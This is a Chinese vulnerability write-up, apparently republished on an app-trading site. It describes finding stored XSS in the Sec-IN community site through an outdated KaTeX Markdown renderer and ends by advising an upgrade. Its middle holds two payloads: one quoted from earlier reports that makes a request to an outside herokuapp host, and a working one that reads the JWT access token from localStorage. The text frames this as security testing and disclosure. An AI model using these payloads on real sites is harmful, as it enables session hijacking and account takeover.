免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  Sec-IN社区安全测试——文章正文

Sec-IN社区安全测试——文章正文

发表时间:2021-07-09 17:05:12  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

发现朋友圈都在转发Sec-IN社区的公测信息,我也注册了一个账号。作为一个安全人员,总是对新出现的业务安全性充满兴趣,于是打开控制台看看。

整体网站是vue开发,典型的前后端分离架构,后端使用RestFUL API通信方式,认证使用的jwt。这种架构比较新,传统的漏洞会相对少很多,像XSS这种重点就需要放在富文本这块。

看下功能,发现投稿支持Markdown,简单测试,是无法插入XSS Payload的。看下流量,发现返回的文章内容是markdown原文,而非Html,说明markdown是前端渲染的。

前端渲染Markdown,肯定使用的开源组件,看流量发现加载了katex.min.js:

image20200415192252830.png

之前没用过这个组件,搜索一下漏洞:

  • https://github.com/KaTeX/KaTeX/issues/1160
  • https://blog.gitter.im/2018/02/16/gitter-xss-cryptocoin-mining-security-issue-notification/
  • https://gitlab.com/gitlab-org/gitter/webapp/issues/1859

文章里有说到Payload:

$$ \< id="iplog">x=new XMLHttpRequest(); x.open("GET", "https://afternoon-fjord-12487.herokuapp.com/"); x.send();document.getElementById("id").parent.parent.style = "display:none"</> $$

测试一下发现标签渲染了,漏洞存在:

image.png

但是js没执行,原因是没有触发这个js的条件,因为此时标签已经写入了。

改成如下payload即可触发:

$$ \< input type=image src=/static/css/img/logo.23d7be3.svg =alert(localStorage.access_token)> $$

image20200415192027702.png

我这里演示的是将locaStorage里的localStorage.access_token弹出来。因为Sec-IN社区全站使用JWT进行认证,拿到这个Access Token也就等于获取了他人权限,不会受到Cookie里安全限制的影响。

如何修复这个问题呢?只需要将katex升级到最新版。

责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470